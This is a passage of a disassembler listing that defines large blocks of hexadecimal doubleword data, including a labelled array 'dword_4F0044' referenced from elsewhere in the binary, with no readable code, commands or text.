		dd 2DBA5EBFh, 206C9C5Fh, 2C07CD4Ch, 4D82880h, 72C7CB4Eh
		dd 5C6A22EBh, 13BEC602h, 0D95D4DDEh, 0C218EBE0h, 93A45903h
		dd 13627897h, 0BC386576h, 44A5B0C6h, 0EF64C062h, 0ACD9ECDAh
		dd 0C2AEE927h, 0C0785F4Ch, 7A68D9B5h, 0A7D3F157h, 0A8C54341h
		dd 3D4E658Fh, 0F328DDC3h, 685B0B66h, 85F31464h,	15CBE90Eh
		dd 0B65F780Ah, 0AA4E93FDh, 2BAC1E34h, 0ECF8E984h, 275C2D57h
		dd 0B1B25E83h, 80735C87h, 1CC8554Eh, 1712B505h,	2C0A5E46h
		dd 5102DC58h, 5D8608C5h, 0E90F6C5Bh, 7AC7302h, 0BBCC70C4h
		dd 0E66819Ch, 5664EFBBh, 839FBEA4h, 5BC8E26h, 0AA0A5451h
		dd 5840E726h, 0B465C33Dh, 0CE461F41h, 0BC19AD35h, 0ADF36A53h
		dd 0E2DD8F9Ah, 97735782h, 0F2C87045h, 4B407959h, 3E34B175h
		dd 1AC4DBF2h, 0EE0413E4h, 0BE13E5D2h, 4F075F19h, 9FA36730h
		dd 0A0350E5Ah, 6583D3F9h
		dd 53C02E6h, 3E8D0B87h,	0BE011743h, 74C332EDh, 8099D3F7h
		dd 315834A0h, 0C64EDC7Bh, 6650158h, 2C1748C8h, 0A1AC0964h
		dd 63FDD79Ah, 2D3A1316h, 50CB289Eh, 80975FF8h, 234E2DC4h
		dd 73274843h, 970F5D0Bh, 6AB6B88h, 0C30A21Eh, 0A37F560Fh
		dd 0CAE18064h, 0F8458605h, 9737AC9h, 0D9F73683h, 0F3C03D83h
		dd 0C6258D93h, 3855359h, 3E31100Dh, 4A26DE00h, 0DBF7508Dh
		dd 5EE62068h, 0BD2FE918h, 46FF3AFh, 31015034h, 0B4E4EADEh
		dd 0FA68195Fh, 2214311Bh, 0CE8F3A57h, 3DA1CCE8h, 0B1AD03CBh
		dd 0CA0D798h, 4B82FAE5h, 684D8CB2h, 332CF4Eh, 57457D54h
		dd 205166A5h, 5350E712h, 6F9338EAh, 33621B0Ch, 58A776EBh
		dd 0C513D6F2h, 835BEF0h, 7D6349BAh, 2D463828h, 5E5E3ADCh
		dd 0F671AC2Ch, 0E16B7054h, 0E430A82Fh, 16978BEBh, 6EAD29A8h
		dd 1930683Eh, 0FE118932h, 0DF0C3D60h, 0C3747F08h, 12342256h
		dd 89070FBCh, 0DA3D04A0h, 415DBDC8h, 0F75A2087h, 8572B54Dh
		dd 88AF5457h, 0CF4B7EB5h, 858F8C1h, 5F846556h, 46AFCC5Ch
		dd 9E3601Fh, 0D2C594Ah,	0A39EFFA6h, 5E1325BCh, 0E78CC2EAh
		dd 0F6756675h, 4836B211h, 21527F9h, 5B2A253Ah, 38504CC2h
		dd 0F841392Dh, 64C02A5Dh, 0B5619768h, 0BB741B66h, 3D724E02h
		dd 0C8430AE9h, 0A15BD8F3h, 0F255C1E3h, 41CF2DAEh, 3FDD731Ch
		dd 1F5460CCh, 567BB863h, 80BC4286h, 0C07741F2h,	2DC9FE95h
		dd 16D45066h, 9B87AA8Bh, 0F8F77F62h, 0BDCB4B72h, 4E08D28Fh
		dd 43B104FCh, 1731A888h, 0CCDDE420h, 8955F6EDh,	899261A3h
		dd 2B64C58Eh, 4DB28777h, 29987751h, 542C559Dh, 0A546AD53h
		dd 2660E572h, 297900BBh, 640C2D30h, 3120131Fh, 8FE307C3h
		dd 602E5420h, 78274BCBh, 0F304BFB0h, 4C424A86h,	502C3C80h
		dd 0C04608Ch, 63407952h, 3027D580h, 0F8307705h,	974F6C7Bh
		dd 8B4A04FFh, 0D8CAA74h, 91334CE2h, 28A44FA7h, 80CCB2C8h
		dd 0E1C0DFB1h, 0C1800E08h, 4F7DFE82h, 0D97CD1E9h, 0BDA60C07h
		dd 0B9F02A3Ch, 61B10295h, 7938952h, 0FC999CCBh,	705E4055h
		dd 0F8CB7EEAh, 0C2A74AC6h, 3EB379FBh, 0EABF525Ah, 0F6349704h
		dd 0C0D3C21Ch, 80C105E3h, 0EF290193h, 0BBD22F38h, 9C2EFB29h
		dd 38131AA7h, 0BF85BBA8h, 0D36D01BFh, 213E18DDh, 4AE27883h
		dd 646382B1h, 8AE0E982h, 57685600h, 2B10C5Dh, 29ACF75Eh
		dd 5EE6C34Eh, 5E76F85Bh, 0BD7FF0ACh, 0F1E93421h, 5BD7C287h
		dd 0C8F60B71h, 0A1989CDFh, 0EF107194h, 0CF752885h, 5119C775h
		dd 581612B1h, 0FBE9D9C3h, 5B12452Ch, 0D1F89853h, 9EA9E24Ah
		dd 0B158BB5h, 90A078E9h, 0F0399789h, 5F83F67Dh,	0C3C9E6F8h
		dd 258F46E9h, 0E9895E38h, 0A590C557h, 818053DCh, 163867EAh
		dd 5D0B06Bh, 64BE5E70h,	92B0AD29h, 7C124400h, 0E243604Ah
		dd 80F24BE9h, 4C8D2D8Eh, 8870A42Dh, 0E91F07F3h,	2CBFFBD6h
		dd 0DD4FBD0Eh, 4E51BA8Ch, 0D37BB307h, 61399D45h, 5FBD89D8h
		dd 0ECF6DD09h, 0D5A99756h, 7AC860C6h, 211255B6h, 12206EF4h
		dd 0F844D431h, 3D84FBCh, 22F92487h, 4E013F5Dh, 295C0C20h
		dd 838A0C2h, 43BB584Eh,	529BE9E2h, 68E59706h, 22E13FABh
		dd 0C98980A3h, 5848347Ch, 0C1DDF702h, 805208EDh, 0DF19EAECh
		dd 16BA044Eh, 0A2B120E6h, 7F7C0675h, 790035Dh, 13923A50h
		dd 8206829h, 17141CD0h,	67E1D3E9h, 3D01B47Fh, 38CC7518h
		dd 664D70Ch, 0EE90AFDh,	0E14C9FF9h, 15C24B4Eh, 41BC7559h
		dd 7520B284h, 0EC5E5A08h, 37F4A714h, 0EAF454AFh, 3A94B558h
		dd 68414D04h, 97F9428h,	3A015A07h, 0C608132Eh, 0E9166075h
		dd 1092D66h, 646D12F5h,	0D98627F9h, 2F63FC7Eh, 0B2BA84B0h
		dd 10589074h, 0BC4B5ECFh, 25E496D1h, 0B061403Ah, 0EB80C909h
		dd 0CA2EF528h, 8323D9B3h, 0F4E9F31Eh, 0E3D313E4h, 54EA0EBCh
		dd 0FB882DFh, 0D05F3ADFh, 70469DDh, 779C5A06h, 5CF04490h
		dd 0F772634Eh, 0F7D4C059h, 0F37E9DE3h, 0A7DD1CBCh, 2C3C712Fh
		dd 2710BED9h, 19BF02C1h, 603B9F70h, 2C2A86AFh, 58270C98h
		dd 780960B9h, 0FD29DBAAh, 0F125CCE5h, 1CE240C7h, 32645C57h
		dd 10900898h, 0D2BB6BBh, 0BE56434Dh, 1737383Dh,	0E8F003E9h
		dd 37120968h, 272072D0h, 8D2FC8F2h, 2D1040BFh, 855203DDh
		dd 80D4E93Bh, 2499FE85h, 0BEC7E578h, 1F9600AFh,	8C09CE81h
		dd 62512E2Fh, 619059C4h, 0F95E5CD7h, 0ACF23B21h, 0D1BD55C3h
		dd 0E9A816DBh, 59E08BEh, 8BB4555Ah, 1DD1C1B5h, 97A2EA14h
		dd 16CA4E7Ch, 0D48FBB18h, 0EEFAE90Bh, 4B51C625h, 7CDE681Dh
		dd 92345F2Dh, 20F0B92Dh, 9A1AB99h, 0EB311EC8h, 718F795Dh
		dd 0E96AE45Eh, 345246CAh, 0D7296B40h, 0B7FCA88Ah, 2C7BE960h
		dd 523F00F1h, 0EB14E2BAh, 0D1482129h, 0AFFA345Ah, 0CF6F31F1h
		dd 846F482Fh, 3898C92Eh, 2B2514D8h, 0B20BBB4Ah,	4F5EA620h
		dd 26408F02h, 0C7FDC006h, 34FE3245h, 0E1F9093Eh, 47CF77CBh
		dd 7AEF8189h, 5FE91B0Dh, 3ED8DFCBh, 748427Bh, 23E54BF3h
		dd 0CAD7E301h, 0CEF2FE04h, 1563E9C2h, 6B4F9190h, 177C11Fh
		dd 8A0753Ch, 665AF568h,	4424C30h, 0D340F9A3h, 61EA4955h
		dd 479E0C31h, 0F4CA427Dh, 0FFA30957h, 5D279845h, 770B0780h
		dd 7A976F17h, 0C4102059h, 0D1270790h, 0B58A64B4h, 774B7A71h
		dd 0E968E221h, 0C2CD881Dh, 0C5FC27DFh, 0B7083D2Bh, 0DADC2F75h
		dd 126F420Eh, 8C0D9FFh,	779E5251h, 1D73A36Bh, 5EA03CE1h
		dd 0B4DBEAB7h, 2834EEEBh, 0A47CB2EEh, 0DFABBB0Ch, 0EC949FC1h
		dd 7D6B18BEh, 8B02954Ah, 6C56A174h, 0D208F168h,	0E3860027h
		dd 84CB050h, 2CC1C350h,	9A88169Ch, 95D1F67h, 71647A91h
		dd 0ECF2292Dh, 18FEF0F8h, 0C420A7Dh, 0F109494Bh, 5D001C1h
		dd 39AAEDBBh, 7E75F0C2h, 0CEA62562h, 92598298h,	13F17FECh
		dd 0BB1E0A7h, 78B880F0h, 6A0D570Ah, 1600BA48h, 83095106h
		dd 810101C3h, 0DE613CCBh, 0A7C17017h, 0F109F8B1h, 475E8868h
		dd 0EEAE60A7h, 9538ACC2h, 65D7D362h, 77E90549h,	8A9DB2F0h
		dd 0D42FB9FDh, 651EE8A1h, 8998B82Dh, 0FB95A8CCh, 0D040E953h
		dd 0DE9E0E22h, 9418EFA4h, 564B02C6h, 0E9C62CEEh, 731F5930h
		dd 5F3B2CCAh, 318444h, 8355E07h, 4A131E56h, 0EAC24CE9h
		dd 0CF707729h, 1441BCBDh, 0D77D97E9h, 15C47784h, 10E450BBh
		dd 41296065h, 0B151AD40h, 0E030B20Ch, 7051B8CAh, 777CB5EAh
		dd 0BC90F5E9h, 3A5B8CE9h, 5E622BA7h, 6800B56Ch,	626367A6h
		dd 0F9F861Ah, 0BCBE4855h, 55B095EEh, 5F82D3CBh,	6DF21FF8h
		dd 60C03F55h, 5E005F3Ah, 13A7522Dh, 5FC6318Eh, 57A71F58h
		dd 0D84EA91Dh, 0A418DF40h, 5B2C532h, 1792E7F6h,	74AFF868h
		dd 0CEEE800Eh, 5897B15Ch, 0DCA690Ch, 1EB53EF0h,	0ADE91670h
		dd 0BE6BD557h, 15F72415h, 8F3CFD5Dh, 784193F6h,	314968CCh
		dd 0A3934B79h, 0A2E916C9h, 0B16BC399h, 0EAE8F036h, 49F3F1BFh
		dd 56F910D5h, 6EE91254h, 49205FD3h, 79F45750h, 1F804F02h
		dd 2CA6D65Eh, 4C290351h, 0E2267014h, 4117E2F2h,	40E12BAh
		dd 14B9F34Ah, 1B280EE9h, 0A34273FFh, 0E006EAC1h, 121516BAh
		dd 0ED4A7B20h, 75C202FAh, 5740D5CDh, 2BED4DE8h,	0C8A80209h
		dd 0B0C0CC21h, 5E7C92D4h, 4D2CCB31h, 4C94C19h, 6A764909h
		dd 0F50074ADh, 9589B6F2h, 0E925EF01h, 0E2B24817h, 0FD481DECh
		dd 5CA8119h, 6E66AF26h,	0B8C47F84h, 7354181h, 32C78D3Ah
		dd 5E992A9h, 9CCB6A3Fh
		dd 0E158F635h, 4D075AD0h, 76735059h, 0BA0E037Bh, 39AF0118h
		dd 51967006h, 9941A32h,	448590Bh, 0FE300B55h, 60348E27h
		dd 42D1926Bh, 1F799302h, 0A08F7642h, 0C6E92508h, 0AEDB228Bh
		dd 0C1EDAD82h, 82E357D5h, 0D9D4404h, 0D1C22B9Ch, 0BF6A6747h
		dd 680F80CAh, 84BB6967h, 18325202h, 0ED7AD71Ah,	0CB6E5094h
		dd 0F2CB740Ch, 769D0550h, 52C07A83h, 0AC4B4BDEh, 0E94F82F8h
		dd 0B5BFA017h, 3E46241Eh, 82C700CBh, 68676E12h,	7126B92Fh
		dd 34443Fh, 462D25E7h, 0EB5832E9h, 0E5E0F593h, 0F1242BADh
		dd 57096F22h, 47CA8068h, 48C15F1Ah, 0F70068E7h,	5D432845h
		dd 934AE94Fh, 531DCCE1h, 0BFCCBDF8h, 0A7EAEA59h, 0C8517A02h
		dd 56B3407Dh, 65DE050Ch, 0A48060E9h, 3F0B22Dh, 1DF8784Fh
		dd 4B6C7913h, 6475CDA2h, 363AB7B3h, 0BB2C7584h,	0C0AF9034h
		dd 0B7667EECh, 0E5814A01h, 2B7F3118h, 40E80C9Fh, 0BE566DD0h
		dd 5D0962CFh, 76F52103h, 9B230876h, 0E0C1813Dh,	0B630506h
		dd 525BFFC3h, 15C8F4A3h, 0EDAB16EFh, 709C8E60h,	294684Fh
		dd 519D08A0h, 18A46009h, 35064AD3h, 1FDD1362h, 71FC0BB0h
		dd 0B2F86B5Ah, 0B02D8CBDh, 0F5681489h, 8006D845h, 0C349467h
		dd 0A4B9D10Bh, 1F827D02h, 0E16648B4h, 334D5779h, 0D2B0348Ch
		dd 0B75321C0h, 0F8303FA9h, 59549F1h, 492FD26h, 0AC67E868h
		dd 0D3A4C4DFh, 0C500FA12h, 7868D7F7h, 0E965A80Dh, 913AEB70h
		dd 96889FB8h, 1FFC631h,	0A9779256h, 35E43026h, 0A9B3900h
		dd 0F21C981h, 494D0468h, 0D07701E9h, 5417E014h,	15B90C4Bh
		dd 95EDFE73h, 805EF68Bh, 13BF6805h, 0DFBE7340h,	2519862Fh
		dd 0C55009E9h, 0C64F4FB9h, 761CF35Ah, 75CA2053h, 90BE661Ch
		dd 0F7013FFAh, 1895E4Ch, 0E90BF9EBh, 0CA3B5874h, 205A75E0h
		dd 11072E7h, 0EEC00F99h, 0DEAC0502h, 194801EDh,	14DA70Fh
		dd 0ECF013D6h, 18BC5BE3h, 7E6978ADh, 2A5B11CCh,	194309D6h
		dd 5B5E294Ah, 0D8FF0820h, 0B892E378h, 7BBCDF4Fh, 0BE6110DAh
		dd 0EA65835Eh, 10D81AD1h, 0A0AD3E4h, 0BA88CBB2h, 30C38007h
		dd 8791EB33h, 66D4103Dh, 63E32E68h, 0C70D1595h,	7404B64Ch
		dd 84750876h, 62B4BB0Dh, 952B1366h, 9F170531h, 306C8BAh
		dd 0D50C2698h, 3115DA50h, 90D904Fh, 0AA22B7F3h,	0FBF94175h
		dd 0ABA55C2Ch, 0E69A0CF2h, 0B713EBDDh, 9A8C9500h, 0FBD84B21h
		dd 0F96E0479h, 5FA94E90h, 3499B015h, 0DF491950h, 0C796AF10h
		dd 1727E912h, 207AE7F6h, 0B94B3E36h, 0E9FC1957h, 0C545B94Bh
		dd 0C9EB8DDFh, 0AD807E90h, 26046A1h, 1607BF2Ch,	9F7E691h
		dd 3364D586h, 3EEA4155h, 50D9F087h, 4171BF9Fh, 7E7E69C2h
		dd 0F8AC6281h, 0E2EB5C04h, 39AAC41Ch, 0B9CE07D3h, 412E0D75h
		dd 8C294D6Ah, 41A13A7Ah, 0FE56B31h, 0B07E09F1h,	150591A0h
		dd 0E4E97FD4h, 0DF178A5Fh, 38A59000h, 5C8110CDh, 0BF18DDF3h
		dd 37930C33h, 1329D0Bh,	0E28073DFh, 7F0B58DEh, 0A92652CDh
		dd 0CF09F7CBh, 499CCCEEh, 0DBF87752h, 13C0755Ah, 2525D4BBh
		dd 3CDE56A0h, 0B7A45625h, 0E5028B76h, 57407670h, 0FE7E6DADh
		dd 0E9CB290Eh, 8050F84Ah, 0C5D37CE3h, 61810F14h, 59AD82BEh
		dd 0BF8D3A49h, 0A4C8E82Ah, 24D35EF2h, 16BECE7Fh, 9644C20Ch
		dd 125679C5h, 4E8BFBCDh, 5D64604Ah, 6E4BB768h, 2DD1D1ECh
		dd 99FD3112h, 18BDFCBBh, 0ABA81FCBh, 0FF6C77F3h, 0E9EB48EFh
		dd 1445B59h, 26633548h,	0E13A1454h, 0AA2144BEh,	17241EB0h
		dd 0EB125919h, 0D68FA444h, 6604550Bh, 6F7EF8DCh, 2083C98Eh
		dd 22A5BFDFh, 2E164C12h, 0BB2B6202h, 47644F6Dh,	7A39D2F4h
		dd 0D90C60A4h, 246C2833h, 102DFE89h, 7ACE65EEh,	44AA9934h
		dd 715E2F1h, 2F5217BAh,	0A0495036h, 8AE520C5h, 6668B668h
		dd 18887B1Fh, 842487E6h, 111F8D3Ah, 27EF6E7Eh, 3401E7C4h
		dd 7E538A68h, 503D0CBh,	19771064h, 0A04EB0A8h, 2119E9EEh
		dd 0D6FC010Bh, 72E4F2C9h, 95C49A0Ah, 73C36680h,	2F957F67h
		dd 6AE34D8Dh, 16D7222Bh, 5C16687Eh, 0E3809064h,	7C661CEFh
		dd 0C8E70278h, 4F03B30Fh, 1F1B4A60h, 217D290Bh,	32EFC0D7h
		dd 1E7A1366h, 0C946FA09h, 50126E2Fh, 419BAA01h,	8EF2F421h
		dd 1B0F2E12h, 874AEF81h, 1CF154EAh, 0C9876ED9h,	7A5338C9h
		dd 0C492CEA8h, 0F08BFB34h, 11F6261Ah, 0BC094C56h, 833BE46Eh
		dd 0FED4D2FAh, 0BC56AFCFh, 0DA5CB383h, 6AF6B057h, 3442639h
		dd 3F9B2E17h, 5A6DCC4Eh, 0EDF06824h, 0C5B3E986h, 0B1BE010Ah
		dd 0F74B1870h, 27EBF3DEh, 0BA202312h, 0FE35D8AFh, 58036C94h
		dd 8B32CE35h, 0D6C3DA07h, 0EE4F3ACAh, 78225709h, 126091FFh
		dd 426AC296h, 0C74FD7C0h, 29D58012h, 836D5AAh, 7126D85Eh
		dd 81F02ABCh, 66D1080Bh, 0E7D9025Ah, 61E4DF10h,	1DC3FF90h
		dd 9876F180h, 7828DFEEh, 0A0C675CEh, 9D9E41A4h,	0D82EF344h
		dd 814F1A98h, 5F326F11h, 4213C83Bh, 3C532D40h, 0D1122AB3h
		dd 0CD77EA8Dh, 7F9454B2h, 0AF70DF4Ch, 72C4CE78h, 55092A69h
		dd 7B092C58h, 5B7E6E78h, 0D9CA0806h, 10037F25h,	20843834h
		dd 0E1C065E9h, 8238F22Ah, 4C0CA468h, 10244B4h, 10492398h
		dd 1AE85EACh, 215553F1h, 0C8ABCA25h, 0F7264C58h, 2505D8DAh
		dd 0A4C26BF8h, 259DDEAAh, 2AE5EA78h, 0CA5BFE5h,	69A4CB56h
		dd 7E6AC00Ch, 92D0A1ACh, 5A794020h, 0C0FFF85Fh,	318C6A0Ah
		dd 0C04D5A5Dh, 0E906ED57h, 3D00BE4Ah, 673825BBh, 81430F65h
		dd 0F285C3CBh, 91AC8714h, 2E10C415h, 9D879183h,	9D10E5AFh
		dd 59C0BB0Fh, 0E38179BDh, 5A021883h, 1B6F0C0Ah,	77465E2Ch
		dd 0F554C903h, 0C6540431h, 53E567D6h, 3F08C107h, 0EB964E97h
		dd 0D408822Eh, 85BF97E8h, 818FEEDEh, 813E8D50h,	430C9059h
		dd 4851AC4Bh, 30A14EB0h, 4200F83Ah, 0D85E27ECh,	0A1A737E7h
		dd 507E625Fh, 8785D6FEh, 0F2BBFFDFh, 5AF9739h, 0B12CE97Fh
		dd 0FCF33FD8h, 4A74E982h, 2CD1270Fh, 42E25C8Bh,	0BB0087C5h
		dd 0B88C4F4Ah, 55C20463h, 0EA566660h, 8004EE1h,	9D0F18E9h
		dd 0A20044CAh, 27FD4257h, 5A60D8A0h, 0CFE1BA5Ah, 0E5FA7FC4h
		dd 0DAA8AE55h, 3BDE88A4h, 9A26E894h, 0EF13581h,	16C112Ch
		dd 0B704C958h, 8234C713h, 0B9005CC3h, 5EAAA9DCh, 34FD8786h
		dd 0E26AA84Ch, 7312E058h, 455B2422h, 24BA005Ah,	30E940C8h
		dd 9604B1A8h, 0B5515301h, 0FFED8034h, 26E4E5CCh, 0ADF937E9h
		dd 331AEAA2h, 14E16759h, 882FF679h, 2708A60h, 0A524F3BDh
		dd 95241C7Dh
dword_4F0044	dd 0F8C93453h, 2D0C7185h, 0F4CA6A98h, 0D171E0DFh, 0B75B0EDh
					; DATA XREF: ___:00437A2Co
		dd 7F37C3A8h, 315F2287h, 92A5E9EBh, 93BF28C1h, 7B9B80BEh
		dd 303FF698h, 0F636F14Fh, 915A4E10h, 0E634C1DFh, 0BDF95B06h
		dd 0BB293478h, 606983A6h, 5A777C59h, 498700BCh,	295B1D13h
		dd 0AB042B7h, 1C096908h, 87855E06h, 85CBDCC1h, 0CED0AA14h
		dd 0B64E1B8Eh, 0D5C6825Bh, 0C0776908h, 1611C30Eh, 80D16E7Dh
		dd 0E0449C71h, 0E3B4C94Eh, 0D8050EC8h, 0E9C49F2Ah, 48ABA9B1h
		dd 0D27C1377h, 50E1C8FEh, 0B03B5372h, 0FE930F0Ch, 0B7B70EC0h
		dd 0DFAFFD09h, 96840BBAh, 6C7107Ch, 3B916247h, 5328B466h
		dd 6956CBDAh, 58D1F1A5h, 8BB732E9h, 8EC57596h, 65622F28h
		dd 0BE53285h, 0A54BF474h, 97EC0545h, 8109E05Ah,	7622ED24h
		dd 1CFB7017h, 9D08A8D7h, 9E201F16h, 675E571Ah, 80EFA440h
		dd 4AB7C831h, 0B7735704h, 5FA3E961h, 35405380h,	236B70F4h
		dd 7EC2292Fh, 0B506C856h, 47B4DD3Ah, 680428BBh,	64A86D7Fh
		dd 0F3445DC0h, 4A014227h, 1306E281h, 9487778Ah,	0BA71C514h
		dd 46BD02FDh, 68C00D07h, 3895E2C7h, 82B5AF3Fh, 0C445A409h
		dd 0CF0C0C6Dh, 275F20E9h, 0FCEB8013h, 0A2C907EAh, 6E550BC0h
		dd 4FD295F6h, 25E0F39Dh, 61A4107Dh, 0F8C6971Ah,	6A13E9FBh
		dd 0A1E9E9C4h, 1178B189h, 0AB8F665Bh, 335F680Bh, 436E13B0h
		dd 5010A525h, 1F4B6E24h, 0BBB52DA5h, 4E7CE6B7h,	5AC0C06Fh
		dd 51CBA52h, 61A518A0h,	3B7C392Ch, 61DE5425h, 0F858847Ah
		dd 6AC4570Eh, 5D28FE81h, 7D6975Fh, 680CC256h, 22AB4590h
		dd 905C517Eh, 65FC94C2h, 0BA17C359h, 3E579AC9h,	47F0BE8h
		dd 1141141h, 0C09645Ch,	0E8BF565Bh, 29E90621h, 5D775BA0h
		dd 6FE186F4h, 298736FDh, 0F312085Ch, 6EB73302h,	45C7C03Ch
		dd 0EFC97F0h, 5FC6E94Fh, 1830A865h, 69985D49h, 10750C63h
		dd 0CF488BB3h, 2BE3C723h, 0A6DF72CCh, 0D8B51678h, 0EEC324E2h
		dd 8C269FB8h, 521DD0B8h, 81FEC1EFh, 9F2050Eh, 0F1423FF3h
		dd 307892Dh, 4E85CF9Fh,	7804BB33h, 1613B413h, 0F598BED6h
		dd 0F8D84F9Bh, 8ABBA422h, 65BE4E5Ah, 9211E6B5h,	44180749h
		dd 0F73EF7BAh, 68E1056Fh, 30BF0DA6h, 0EFC00733h, 50660816h
		dd 88ABF300h, 4B2059E8h, 6B7AF2C7h, 9D345DE6h, 0B5D47095h
		dd 50A78474h, 42DC09EFh, 0A8DF09D8h, 0D4300818h, 40500C0Fh
		dd 0D325E965h, 3820FDF3h, 0E064C40Dh, 37C220FDh, 0C59569BFh
		dd 0CFB0E67Bh, 0A90E499h, 688729A8h, 81765A5Dh,	0A260CEBBh
		dd 60D3FD70h, 5D2EABA7h, 1208DC51h, 0C531054Bh,	7F0F8058h
		dd 22CEA03h, 0D1736189h, 783A3752h, 15B5CFCh, 0E32FA5BDh
		dd 10461057h, 8BA2561h,	5528A6D2h, 5D240A68h, 0E98EAD01h
		dd 0C2F1D87Bh, 65301450h, 890A746h, 0EC4A1C6Bh,	0D6A58151h
		dd 582D51D6h, 0B55BE950h, 0B8A70185h, 9048AE96h, 350E301Ch
		dd 4C034538h, 0AF8F2D5Ch, 0D701A23Ah, 34F80432h, 4A16ED01h
		dd 96E9581Fh, 68090768h, 4E4097Bh, 188A5E4Eh, 5361E44Bh
		dd 915A4740h, 0B4680493h, 0F8CC1F0Eh, 0B0D1A329h, 0F2D55AAAh
		dd 5E5CA2F0h, 0C280509Ah, 0EEC12180h, 0A38BBD11h, 251DED5Fh
		dd 0E95833D6h, 6CC258C8h, 0C43D12DEh, 1FCBBF4Eh, 5054FC10h
		dd 1B1E5E45h, 30FB35C7h, 99C365CEh, 7C241F25h, 0B8B70D43h
		dd 0F1046B4Ah, 0AF8CF08h, 0C1FF66B2h, 0E37FC50Ah, 0CD0A1FDh
		dd 315BB151h, 4C67A860h, 0AEA5AF11h, 8A058AD1h,	67785041h
		dd 0DDF9A2DDh, 0BEE463Fh, 501320DBh, 41FF09B4h,	0F4800653h
		dd 0C99C209Fh, 78EA5082h, 96C29E27h, 7E4BF03Ch,	5D3E859Dh
		dd 4CD39533h, 3E26AC35h, 9557A561h, 7116A4B6h, 6DEE2029h
		dd 0E5A3574Ah, 556BD16h, 0A8556F0Ah, 1FC00577h,	0C29429D9h
		dd 0E6E90702h, 0DC96A55h, 0DC6E70C6h, 7631E949h, 5BD875F4h
		dd 16A30F70h, 0EF7C4007h, 8F9F9744h, 850528BDh,	1159066h
		dd 6249EDABh, 0ADF3D82Fh, 43DBB606h, 947D901h, 7CF05D42h
		dd 0D747489h, 71500304h, 4B903F83h, 0FD7BC194h,	2CB801EDh
		dd 24F0FFA5h, 7A31F00Bh, 0E909C866h, 2739EFAh, 1483685Dh
		dd 0EC887C51h, 0C7622537h, 0FB1387D1h, 0D3F575A0h, 0AF51C53Ah
		dd 97B33A17h, 0EE8C1C0h, 0D45BF2E9h, 950980A4h,	0C7AAA8FBh
		dd 590E9420h, 6E10A584h, 4A6859B0h, 7199560Bh, 0B2BBEC36h
		dd 0E0B8DD5Ah, 606B688Eh, 0C497613Eh, 0C1312959h, 0BF5708E4h
		dd 0AEE8100h, 91358802h, 0E27CC8BDh, 0D255665Ch, 0C5B1E9EBh
		dd 2C684BEh, 3CD5835Bh,	0EA63023Eh, 4EF3201Dh, 9620EF52h
		dd 0EF594B4Dh, 60153228h, 39EF3B08h, 32765A0Ah,	1D0CF704h
		dd 0C78225BEh, 257D79F1h, 88621F71h, 57F99AF5h,	0AF33F86Ch
		dd 0B9F81DF2h, 0C382C22Bh, 925BC068h, 0BCDA4955h, 0EB890F8Ch
		dd 0FA95C712h, 58E917E2h, 4C81CA50h, 0FCE170F3h, 0E0BD2959h
		dd 0BDEE2DE4h, 5C6243F9h, 0AA40D761h, 23CBAF6Ah, 43D6C833h
		dd 0D9758226h, 182D0163h, 6A56AE3Bh, 7034EB1h, 259D8781h
		dd 0A71CE342h, 8592594Dh, 5EEF1EBh, 0AA1BF568h,	0EF5B2DDFh
		dd 0AB203D2Dh, 0B5D3974Bh, 0D4EF689Ch, 0D6026968h, 8848D629h
		dd 0EFAC3814h, 79C5F620h, 133D1905h, 2F55CE3Eh,	25688F88h
		dd 1A942D96h, 8BAC5B7h,	0E3046C81h, 0E5EB534Ah,	468288D9h
		dd 7DBA00BCh, 4A69861Dh, 831E549Dh, 1430715Dh, 83EF90B7h
		dd 0E92AD713h, 474BA49Ah, 524DEBCh, 791C043Ch, 0FC01BF77h
		dd 5C9F97E9h, 113827Ch,	4CBBA8D6h, 8BEC25EAh, 3E4577FFh
		dd 1243BB65h, 4F1C1EEDh, 0F10BB10h, 0D05B2508h,	0B455B39h
		dd 0E2595D97h, 4B9CC967h, 13FC0BC1h, 30F04512h,	9144E17h
		dd 0FE58000Bh, 0F1E90131h, 3062027Bh, 4904B4CBh, 0CB014E55h
		dd 80F86C4h, 45DE2959h,	297DADCCh, 3189D595h, 14436157h
		dd 0C908E22Ah, 0D3691155h, 2667324h, 68F18658h,	9B7D7419h
		dd 0EA8081F7h, 0B299DC30h, 17F3BD8Dh, 7201616Ch, 72304BC8h
		dd 0CD45145h, 65EF4A3Ch, 118CFA2Eh, 0E3FFE2ADh,	0F23A8D25h
		dd 0A95E8989h, 0BE7F9CEh, 3803535Ch, 0AD8187Dh,	375E6C1h
		dd 4668D427h, 0DB5F50D8h, 2B3A4176h, 1468AAF0h,	0BC52300Bh
		dd 0EB131377h, 0D5F58167h, 31AD00FCh, 6FE290D8h, 28C66FD4h
		dd 0D070C73h, 59A34878h, 0A96D4151h, 1CE0D1FCh,	82DEF635h
		dd 75BE9FFh, 90703A7Dh,	83B2A9BCh, 49D4C101h, 5751604Eh
		dd 0D3BA7FF8h, 8EFBC71h, 124D0135h, 85180B08h, 49C7915Dh
		dd 26F61DECh, 8F4C789h,	4F3CED34h, 280451BDh, 0BE7FD1AEh
		dd 0A7103453h, 30CB5AA7h, 0A22BB745h, 5F5C8BCBh, 3091C318h
		dd 176FBA80h, 177E5547h, 0E8E92952h, 0F1F249E1h, 5C7EC709h
		dd 0DDF00822h, 1135E03h, 89C2F2CAh, 0B0789C08h,	0F8995E5h
		dd 0F660BB7Ch, 0FEC6FED6h, 2E79A72h, 5D44055Fh,	2F7376Fh
		dd 190C81Fh, 0F6D1685Ch, 2F207A6Ch, 0A709B676h,	5FF23854h
		dd 3222C24Ch, 617BA207h, 0A8E5A0DCh, 733EE02Fh,	0D613772Dh
		dd 2CFC029Bh, 69F74AF9h, 0DB283280h, 0E67F5CCBh, 0AC2F2079h
		dd 18406812h, 13C452E8h, 0BFB812BDh, 0BB90502h,	0B8883973h
		dd 81E9F05Eh, 0E03AF541h, 92296897h, 99082F47h,	8FC0271Ah
		dd 6014A5E2h, 1ED5542Dh, 0D694294Bh, 9CE909EFh,	3EEA7B82h
		dd 0E1901E20h, 6A6B160Bh, 7E647F97h, 20252E32h,	52137156h
		dd 0F925E8FAh, 4934F90Fh, 0E9268D96h, 3B4C17FAh, 0A4C94A9Eh
		dd 391265E5h, 9A000D38h
		dd 181C2D03h, 0E9BD16D0h, 8813816Dh, 0FBFA70FDh, 166A5F81h
		dd 8444ADF6h, 2CFA5DEFh, 0B524E933h, 56F9895h, 69EB7C1Eh
		dd 0AD1670CBh, 54096F9Eh, 0D2F30459h, 0A99A5194h, 0BF725D50h
